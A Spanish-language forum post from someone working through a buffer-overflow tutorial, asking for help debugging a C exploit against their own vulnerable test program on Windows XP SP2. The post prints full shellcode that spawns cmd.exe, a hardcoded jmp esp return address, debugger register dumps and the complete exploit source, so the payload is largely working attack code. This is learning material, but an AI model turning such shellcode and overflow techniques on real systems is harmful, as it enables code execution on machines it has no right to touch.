Tengo otro problema, y es que la la shellcode tiene el caracter "|" y me toma lo que hay despues como un comando, y no me deja ejecutarlo. Aqui os pogo las diferencias de los offsets y demas del tuto con respecto a mi equipo (WinXP Pro SP2 Esp).
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR+offset+shellcode
(EIP se rellena con "RRRR")
MIO:
55 8B EC 33 FF 57 83 EC 04 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB C793BF77 FF D3
TUTO:
55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3
[MIO]
Olly: ESP 0012FF88
EIP 52525252
[TUTO]
Olly: ESP 55555555
EIP 54545454
Offset kernel32.dll esp: 0x7C82385D
Offset tuto: 0x77E81941
Offset system: 0x77bf93c7
Offset tuto: 0x77bf8044
Offset ntdll.dll esp (jmp esp): 0x7C951EED
Offset tuto: 0x77F8980F
Aqui el "exploit":
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main()
{
/*para provocar el stack overflow*/
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
/*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";
/*offset al que saltar para ejecutar la shell*/
//Offset jmp esp ntdll32.dll WinXP SP2 Esp
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
/*
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
*/
/*
argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
*/
char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char));
strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer);
system(buffer);
return;
}
Ya he leido que los opcodes de la shellcode son diferentes, y que el EIP se rellena con 52525252 en vez de 54545454 porque rojodos lo compilo con Dev-Cpp
Os dejo la salida que me da cuando lo ejecuto desde el VC++
"U<ì3ÿWƒì♦ÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe?EøP»Ç"¿wÿÓ" no se reconoce como un comand
o interno o externo,
programa o archivo por lotes ejecutable.
Press any key to continue
Y la string completa que explota el programa.
stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë
Pd: En mi caso, el programa vulnerable se llama "stack.exe"
Pd2: Rojodos no sabes las veces k me he leido el tuto intentando encontrar el error que tengo xD
============= EDITADO =============
lo he debuggeado con olly pasandole como parametro esto:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3
Pero en el EIP se meten "QQQQ" asi que se las quito, y me queda asi:
http://img312.imageshack.us/img312/5522/dibujo7ln.pngPero incluso quitandole las "QQQQ" del exploit me dice lo mismo